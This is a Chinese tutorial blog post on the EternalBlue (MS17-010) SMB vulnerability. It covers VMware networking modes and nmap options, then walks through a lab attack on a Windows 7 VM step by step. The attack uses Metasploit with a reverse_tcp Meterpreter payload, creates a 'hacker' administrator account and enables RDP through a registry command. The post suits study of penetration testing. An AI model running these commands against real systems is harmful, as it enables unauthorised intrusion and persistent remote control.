永恒之蓝漏洞

        MS17-010是微软于2017年3月发布的一个安全补丁,旨在修复Windows操作系统中的一个严重漏洞,该漏洞被称为“永恒之蓝”(EternalBlue)。这个漏洞影响了Windows的Server Message Block(SMB)协议,允许攻击者通过网络远程执行代码。

漏洞背景

  • CVE编号:CVE-2017-0144
  • 影响版本:Windows Vista、Windows 7、Windows 8、Windows 10、Windows Server 2008、Windows Server 2012、Windows Server 2016等多个版本。
  • 攻击方式:攻击者可以利用此漏洞发送特制的请求到目标计算机的SMB服务,从而执行恶意代码,获取系统权限。

影响

永恒之蓝漏洞的严重性在于,它允许攻击者在没有用户交互的情况下,通过网络传播恶意软件。2017年5月,勒索病毒WannaCry利用此漏洞进行传播,导致全球范围内的大规模感染,影响了数十万台计算机。

防护措施

  1. 安装补丁:及时安装微软发布的MS17-010补丁,以修复该漏洞。
  2. 关闭SMBv1:如果不需要,可以考虑禁用SMBv1协议,以减少攻击面。
  3. 网络防护:使用防火墙和入侵检测系统,限制对SMB端口(如445端口)的访问。
  4. 定期备份:定期备份重要数据,以防止勒索软件攻击造成的数据丢失。

桥接模式

桥接模式就是将主机网卡与虚拟的网卡利用虚拟网桥进行通信。类似于把物理主机虚拟为一个交换机,所有桥接设置的虚拟机连接到这个交换机的一个接口上,物理主机也同样插在这个交换机当中,所以所有桥接下的网卡与网卡都是交换模式的,相互可以访问而不干扰。在桥接模式下,虚拟机IP地址需要与主机在同一网段,如果需要联网,则网关与DNS需要与主机网卡一致。

桥接模式下的所有虚拟机都是和主机是在同一网段的,可以把它们看成是"平等"的关系,这就会带来一些麻烦,比如192.168.1段下只有254个主机地址,所以桥接模式下虚拟机和物理的总数不能超过这个数字!

Nat模式

 

在NAT模式中,主机网卡直接与虚拟NAT设备相连,然后虚拟NAT设备与虚拟DHCP服务器一起连接在虚拟交换机VMnet8上,这样就实现了虚拟机联网。VMware Network Adapter VMnet8网卡是为了实现主机与虚拟机之间的通信。

可见NAT模式下主机更像是虚拟机们的"路由器",通过VMnet8虚拟网卡为虚拟机分发地址。所以虚拟机和主机不再同一网段下,可以理解为主机是虚拟机的"上级",这也就是为什么桥接模式没有VMnet0这个虚拟网卡,因为桥接模式下的虚拟机和主机是"平等"的,共用同一个路由器

VMnet8网卡的作用仅仅是主机与虚拟机之间的通信,访问外网是不通过VMnet8网卡的!NAT模式下的虚拟机时通过真实主机的ip访问外网


仅主机模式

仅主机模式可有看成是NAT模式去除了虚拟NAT设备,然后使用VMware Network Adapter VMnet1虚拟网卡连接VMnet1虚拟交换机来与虚拟机通信的,Host-Only模式将虚拟机与外网隔开,使得虚拟机成为一个独立的系统,只与主机相互通讯。

nmap使用:

        Nmap(Network Mapper)是一款用于网络发现和安全审计的开源工具。它最初由 Gordon Lyon(也被称为 Fyodor Vaskovich)开发,是一款功能强大且广泛使用的网络扫描工具。Nmap 允许用户在网络上执行主机发现、端口扫描、服务识别和版本检测等操作,以帮助评估网络的安全性、发现主机和服务、以及识别潜在的安全威胁。

nmap常用命令主机发现 iR                                                                随机选择目标-iL                                                                从文件中加载IP地址-sL                                                               简单的扫描目标-sn                                                               Ping扫描-禁用端口扫描-Pn                                                              将所有主机视为在在线,跳过主机发现-PS[portlist]                                              (TCP SYN ping) 需要root权限-PA[portlist]                                              (TCP ACK ping)-PU[portlist]                                              (UDP  ping)-PY [portlist]                                             (SCTP ping)-PE/PP/PM                                                 ICMP回显,时间戳和网络掩码请求探测-PO[协议列表]                                            IP协议Ping-n/-R                                                           从不执行DNS解析/始终解析[默认:有时]--dns-servers                                              指定自定义DNS服务器--system-dns                                              使用OS的dns服务器--traceroute                                                跟踪到每个主机的跃点路径扫描技术-sS                                                             使用TCP的SYN进行扫描-sT                                                             使用TCP进行扫描-sA                                                            使用TCP的ACK进行扫描-sU                                                            UDP扫描-sI                                                             Idle扫描-sF                                                            FIN扫描-b<FTP中继主机>                                     FTP反弹扫描端口规格和扫描顺序-p                                                              扫描指定端口--exclude-ports                                         从扫描中排除指定端口-f                                                               快速模式-扫描比默认扫描更少的端口-r                                                               连续扫描端口-不随机化--top-ports                                                 扫描<number>最常用的端口服务/版本探测-sV                                                            探测服务/版本信息--version-intensity                                     设置版本扫描强度(0-9)--version-all                                              尝试每个强度探测--version-trace                                          显示详细的版本扫描活动(用于调试)脚本扫描-SC                                                           等效于 --script=defult--script = <lua scripts>,<lua scripts>        以逗号分隔的目录,脚本文件或脚本类别--script-args = <n1=v1, n2=v2>               为脚本提供参数--script-args-file=文件名                          从文件名中加载脚本参数--script-trace                                            显示发送和接受的所有数据--script-updatedb                                     更新脚本数据库--script-help=<lua scripts>                      显示有关脚本的帮助操作系统检测-o                                                            启用os检测--osscan-limit                                          将os检测限制为可能的目标--osscan-guess                                       推测操作系统检测结果时间和性能--host-timeout                                         设置超时时间--scan-delay                                           设置探测之间的时间间隔-T  <0-5>                                                设置时间模板,值越小,IDS报警几率越低防火墙/IDS规避和欺骗-f                                                             报文分段-s                                                             欺骗源地址-g                                                            使用指定的本机端口--proxies <url,port>                                 使用HTTP/SOCK4代理-data<hex string>                                   想发送的数据包中追加自定义的负载--data-string                                            将自定义的ACSII字符串附加到发送数据包中   --data-length                                           发送数据包时,附加随机数据--spoof-mac                                            MAC地址欺骗--badsum                                                发送带有虚假TCP/UNP/STCP校验和的数据包输出-oN                                                         标准输出-oX                                                         XMl输出-oS                                                         script jlddi3-oG                                                        grepable-oA                                                         同时输出三种主要格式-v                                                           信息详细级别-d                                                           调试级别--packet-trace                                        跟踪发送和接收的报文--reason                                                 显示端口处于特殊状态的原因--open                                                    仅显示开放的端口杂项-6                                                          启动Ipv6扫描-A                                                          启动Os检测,版本检测,脚本扫描和traceroute-V                                                          显示版本号

网络扫描神器:Nmap 保姆级教程(附链接)_虚拟机怎么安装nmap-CSDN博客

MSF使用:

        MSF使用详解-安全客 - 安全资讯平台

【工具使用】——Metasploit(MSF)使用详解(超详细)-CSDN博客

msf使用详解 · Drunkmars's Blog

        Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。   

1.打开msfconsole工具:kali终端输入 msfconsole

2.搜索漏洞: search 漏洞名字

3.选择相关模块:use 模块号

4.显示出有效的攻击载荷:show options

5.设置目标ip:set rhosts 目标ip

6.执行攻击:run 或 exploit

7.退出到msf:back

Metasploit

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。

 

·  进入框架:msfconsole

·  使用search命令查找相关漏洞: search ms17-010

·  使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue

·  使用info查看模块信息: info

·  设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

·  查看模块需要配置的参数:show options

·  设置参数:set RHOST 192.168.125.138

·  攻击:exploit / run

·  后渗透阶段

不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。

我们也可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc 进行自动攻击!

漏洞利用(exploit)

漏洞利用exploit,也就是我们常说的 exp,他就是对漏洞进行攻击的代码。

exploit漏洞利用模块路径:/usr/share/metasploit-framework/modules/exploits

这里面有针对不同平台的 exploit 。

我们现在就进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用

我们进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。

攻击载荷(payload)

payload模块路径:/usr/share/metasploit-framework/modules/payloads

点击并拖拽以移动

Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Shellcode :Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令 之后,才会提供一个命令行shell。

Metasploit中的 Payload 模块主要有以下三种类型:

  • -Single

  • -Stager

  • -Stage

  • ·  Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似 netcat 这样的非metasploit处理工具所捕捉到。
  • ·  Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
  • ·  Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:

Single Payload的格式为:<target>/ <single>  如:windows/powershell_bind_tcp
Stager/Stage Payload的格式为:<target>/ <stage> / <stager>  如:windows/meterpreter/reverse_tcp

当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:

在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload

而 windows/meterpreter/reverse_tcp 则由一个Stage Payloadmeterpreter)和 一个Stager Payloadreverse_tcp)组成

Stager中几种常见的payload

windows/meterpreter/bind_tcp       #正向连接
windows/meterpreter/reverse_tcp    #反向连接,常用
windows/meterpreter/reverse_http   #通过监听80端口反向连接
windows/meterpreter/reverse_https  #通过监听443端口反向连接正向连接使用场景:我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了反向连接使用场景:我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。反向连接80和443端口使用场景:被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信

点击并拖拽以移动

Meterpreter

Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

Meterpreter是如何工作的?

首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

Meterpreter的特点:

·  Meterpreter完全驻留在内存,没有写入到磁盘

·  Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程

·  默认情况下, Meterpreter的通信是加密的,所以很安全

·  扩展性,许多新的特征模块可以被加载。

我们在设置 payloads 时,可以将 payloads 设置为:windows/meterpreter/reverse_tcp ,然后获得了 meterpreter> 之后我们就可以干很多事了!具体的做的事,在我们下面的后渗透阶段都有讲!

 

kali控制台输入:msfconsole 进入metasploit框架

寻找MS17_010漏洞: search ms17_010

这里找到了两个模块,第一个辅助模块是探测主机是否存在MS17_010漏洞,第二个是漏洞利用模块,我们先探测哪些主机存在漏洞

Auxiliary辅助探测模块

该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

输入命令:use auxiliary/scanner/smb/smb_ms17_010

查看这个模块需要配置的信息:show options

RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞

输入:set RHOSTS 192.168.125.125-129.168.125.140

输入:exploit 攻击,这里有+号的就是可能存在漏洞的主机,这里有3个主机存在漏洞

Exploit漏洞利用模块

然后我们就可以去利用漏洞攻击了,选择漏洞攻击模块: use exploit/windows/smb/ms17_010_eternalblue

查看这个漏洞的信息:info

查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统:show targets

这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)

Payload攻击载荷模块

攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

查看攻击载荷:show payloads

该命令可以查看当前漏洞利用模块下可用的所有Payload

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

点击并拖拽以移动

查看模块需要配置的参数: show options

设置RHOST,也就是要攻击主机的ip:set RHOST 192.168.125.138

设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell:set LHOST 192.168.125.129

如果我们这里不设置lport的话,默认是4444端口监听

攻击: exploit

点击并拖拽以移动

后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit

永恒之蓝实验部分 :

        在msf中利用ms17-010漏洞来攻击系统,以熟悉msf工具的使用。

复现环境

  • 攻击机:kali,192.168.222.130
  • 被攻击机:win7,192.168.222.132 关闭防火墙

 

 

 

相互ping一下,看看能不能ping通

在kali中使用nmap扫描win7,发现445端口开放 

nmap:调用 Nmap 工具。

192.168.222.132:这是目标 IP 地址,表示你要扫描的设备。

-O:这个选项用于启用操作系统检测。Nmap 会尝试识别目标设备所运行的操作系统。

-sS:这是一个 TCP SYN 扫描,通常被称为“半开放扫描”。Nmap 发送 SYN 数据包(连接请求),如果目标主机响应 SYN-ACK,表示端口开放;如果响应 RST,表示端口关闭。这种扫描方式相对隐蔽,不会建立完整的 TCP 连接。

-T4:这个选项用于设置扫描速度和时间。Nmap 提供了多个时间模板(从 T0 到 T5),T4 表示“快速”,适合在网络延迟较低的环境中使用,可以加快扫描速度,但可能会增加被防火墙或入侵检测系统检测到的风险。

在kali的终端中打开msfconsole 

.利用search功能搜索ms17-010 搜索到两个模块

扫描模块:auxiliary/admin/smb/ms17_010

攻击模块:exploit/windows/smb/ms17_010_eternalblue

使用 模块3 对目标主机进行扫描,我们可以利用options先看一下选项,发现存在,ms17-010

        使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。RHOSTS选项为空,所以我们需要填写,RHOSTS代表要攻击的目标。输入r然后按tab键可以。

        设置RHOSTS,再run。

 进行exp,使用模块3,并查看选项

search 17-010
use 0
#设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell
set payload windows/x64/meterpreter/reverse_tcp
show options
set rhosts 192.168.222.130

 

看看配置文件

设置 rhosts:192.168.222.132

此处使用 set 命令,设置一下 RHOSTS (靶机的ip地址)

“rhosts”这个词在计算机安全和网络配置中通常指“远程主机”(Remote Hosts).

set RHOSTS 192.168.222.132

运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。

运行成功后,就可远程命令执行。

使用chcp 65001 解决乱码问题

 

创建新的管理员账户,账户名hacker,密码12356(在shell控制台下)

使用net localgroup administrators hacker /add命令,将账户设置为管理员

使用net localgroup administrators命令可查看本地管理员

利用netstat -ano查看3389端口是否开启,发现没有开启

把3389端口打开 

 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

  1. REG ADD:这是用于添加新项或修改现有项的命令。
  2. HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server

    • HKLM:代表 "HKEY_LOCAL_MACHINE",这是 Windows 注册表中的一个根键,存储了计算机的全局设置。
    • SYSTEM\CurrentControlSet\Control\Terminal Server:这是注册表中的一个路径,指向与终端服务相关的设置。
  3. /v fDenyTSConnections

    • /v:指定要添加或修改的值的名称。
    • fDenyTSConnections:这是一个值名称,用于控制远程桌面连接的设置。具体来说,它指定是否允许远程桌面连接。
  4. /t REG_DWORD

    • /t:指定值的数据类型。
    • REG_DWORD:表示这个值的数据类型是一个双字(DWORD),通常用于存储整数值。
  5. /d 00000000

    • /d:指定要设置的值的数据。
    • 00000000:这是要设置的值,表示允许远程桌面连接。具体来说,0(或 00000000)表示不拒绝远程桌面连接。
  6. /f

    • /f:表示强制执行,不会询问确认。如果没有这个选项,系统可能会提示用户确认修改操作。

 连接,rdesktop 192.168.222.132:3389

其他用户

 可以用rdesktop登录进去

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/55524.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java集合剖析3】ArrayList

目录 拓展 1. 在面试时如何讲解一个集合的底层&#xff1f; 2. IDEA如何查看底层源码&#xff1f; 一、ArrayList底层数据结构 二、插入方法的具体实现 三、ArrayList底层原理总结 拓展 1. 在面试时如何讲解一个集合的底层&#xff1f; 底层的数据结构。插入方法的具体实现。…

vue综合指南(六)

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;Vue篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来Vuet篇专栏内容:vue综合指南 目录 101、Vue 框架怎么实现对象和数组的监听&#xff1f; 102、Proxy 与 Object.d…

10 分钟使用豆包 MarsCode 帮我搭建一套后台管理系统

以下是「 豆包MarsCode 体验官」优秀文章&#xff0c;作者把梦想揉碎。 十分钟使用豆包 MarsCode 搭建后台管理项目 在这个快节奏的时代&#xff0c;开发者们总是希望能够快速、高效地完成项目的搭建与开发工作。无论是初创企业还是大型公司&#xff0c;后台管理系统都是必不可…

SpringBoot1~~~

目录 快速入门 依赖管理和自动配置 修改自动仲裁/默认版本号 starter场景启动器 自动配置 修改默认扫描包结构 修改默认配置 读取application.properties文件 按需加载原则 容器功能 Configuration Import ​编辑 Conditional ImportResource 配置绑定Configur…

要在 Git Bash 中使用 `tree` 命令,下载并手动安装 `tree`。

0、git bash 安装 git(安装,常用命令,分支操作,gitee,IDEA集成git,IDEA集成gitee,IDEA集成github,远程仓库操作) 1、下载并手动安装 tree 下载 tree.exe 从 tree for Windows 官方站点 下载 tree 的 Windows 可执行文件。tree for Window&#xff1a;https://gnuwin32.source…

鸿蒙应用开发:全面认识鸿蒙系统

前言 随着智能设备的普及和物联网的发展&#xff0c;对操作系统的需求也越来越多样化。鸿蒙操作系统作为一款面向全场景的分布式操作系统&#xff0c;其适用范围非常广泛&#xff0c;从智能手机到家用电器&#xff0c;再到工业设备&#xff0c;都能找到应用场景。特别是在智能…

Nginx如何配置Gzip

Nginx 配置 Gzip 压缩可以显著减小传输的文件大小&#xff0c;提高网页加载速度。以下是在 Nginx 中配置 Gzip 的详细步骤&#xff1a; 一、找到 Nginx 配置文件 Nginx 的配置文件通常位于 /etc/nginx/nginx.conf 或 /usr/local/nginx/conf/nginx.conf&#xff08;取决于 Ngin…

鸿蒙网络编程系列22-Web组件文件上传示例

1. web组件文件上传功能简介 鸿蒙的web组件可以加载网页&#xff0c;如果网页本身具备文件上传功能的话就比较尴尬了&#xff0c;因为html上传文件时&#xff0c;允许用户选择本地文件&#xff0c;但是鸿蒙因为安全性的考虑&#xff0c;只允许操作沙箱中的文件&#xff0c;所以…

物联网的应用以及优势

物联网智能项目涵盖了多个行业领域&#xff0c;随着技术的不断进步和普及&#xff0c;越来越多的应用案例成为主流趋势。此篇文章将概述一些主要的物联网智能项目类别及其优势和日常使用场景&#xff1a; 主流物联网智能项目 1. 智能家居: •优势: 提升居住体验&#xff0c;…

双十一母婴有什么好物推荐?双十一这五款母婴好物不容错过!

随着双十一购物狂欢节的来临&#xff0c;母婴用品市场再次迎来了消费者的热切关注。作为家长们为孩子和自身挑选必需品的重要时刻&#xff0c;母婴用品的质量和安全性无疑成为了关注的焦点。在众多品牌和商品中&#xff0c;我们精心筛选了本年度最受欢迎的母婴用品&#xff0c;…

24/10/14 算法笔记 循环神经网络RNN

RNN: 一种专门用于处理序列数据的神经网络&#xff0c;它能够捕捉时间序列中的动态特征。RNN的核心特点是其循环连接&#xff0c;这允许网络在不同时间步之间传递信息&#xff0c;从而实现对序列数据的记忆和处理能力。 应用的场景&#xff1a; 自然语言处理&#xff08;NLP&…

关于Python AI 编程助手Fitten Code的应用体验以及Python 修改删除 sys.path 路径以实现两个项目代码的合并

一、关于Python AI 编程助手Fitten Code的应用体验 AI现在无孔不入&#xff0c;现在都开始进入到编程中了&#xff0c;有一个能适用多种编译器环境的AI编程插件 Fitten Code。其适配了 Viusal Studio&#xff0c;VS Code(本文使用)&#xff0c;JetBrains 系列(本文使用)以及Vim…

如何使用C#实现Padim算法的训练和推理

目录 说明 项目背景 算法实现 预处理模块——图像预处理 主要模块——训练&#xff1a;Resnet层信息提取 主要模块——信息处理&#xff0c;计算Anomaly Map 主要模块——评估 主要模块——评估&#xff1a;门限值的确定 主要模块——推理 写在最后 项目下载链接 说…

进入 Searing-66 火焰星球:第一周游戏指南

Alpha 第四季已开启&#xff0c;穿越火焰星球 Searing-66&#xff0c;带你开启火热征程。准备好勇闯炙热的沙漠&#xff0c;那里有无情的高温和无情的挑战在等待着你。从高风险的烹饪对决到炙热的冒险&#xff0c;Searing-66 将把你的耐力推向极限。带上充足的水&#xff0c;天…

Java线程的状态以及转换条件,与操作系统线程状态的区别?

先看图增加点记忆。 Java线程状态&#xff1a; 线程状态转换图&#xff1a; 背景知识 JAVA的线程模型与操作系统线程的对应关系是1:1的&#xff0c;线程的调度权是由操作系统控制的。 为什么java的线程状态与操作系统不一致&#xff1f; JVM线程状态&#xff1a;RUNNAB…

【含开题报告+文档+PPT+源码】基于SSM的景行天下旅游网站的设计与实现

开题报告 随着互联网的快速发展&#xff0c;旅游业也逐渐进入了数字化时代。作为一个旅游目的地&#xff0c;云浮市意识到了互联网在促进旅游业发展方面的巨大潜力。为了更好地推广云浮的旅游资源&#xff0c;提高旅游服务质量&#xff0c;云浮市决定开发一个专门的旅游网站。…

【红日安全】vulnstack (一)

&#x1f3d8;️个人主页&#xff1a; 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞&#x1f44d;收藏&#x1f497;支持一下哦 【红日安全】vulnstack &#xff08;一&#xff09; 靶场搭建靶场渗透明确目标信息收集phpadmin后台getshell 靶场搭建 靶场下载…

IP报文格式、IPv6概述

IPv4报文格式 IPv4报文首部长度至少为20字节(没有可选字段和填充的情况下)&#xff0c;下面来逐一介绍首部各个字段的含义 Version版本&#xff1a;表示采用哪一种具体的IP协议&#xff0c;对于IPv4来说该字段就填充4以表示&#xff0c;如果是IPv6就填充6IHL首部长度&#xff…

网络资源模板--Android Studio 实现简易计算器App

目录 一、项目演示 二、项目测试环境 三、项目详情 四、完整的项目源码 一、项目演示 网络资源模板--基于Android studio 实现的简易计算器 二、项目测试环境 三、项目详情 动态绑定按钮&#xff1a; 使用循环遍历 buttons 数组&#xff0c;根据动态生成的按钮 ID (btn_0, …

SQL进阶技巧:如何删除第N次连续出现NULL值所存在的行?

目录 0 场景描述 1 数据准备 2 问题分析 问题拓展:如何删除第2次、第3次、第N次连续出现NULL值所在的行? 3 小结 0 场景描述 有下面的场景: 我们希望删除某id中连续存在NULL值的所有行,但是保留第一次出现不为NULL值的以下所有存在NULL值的行。具体如下图所示: 如…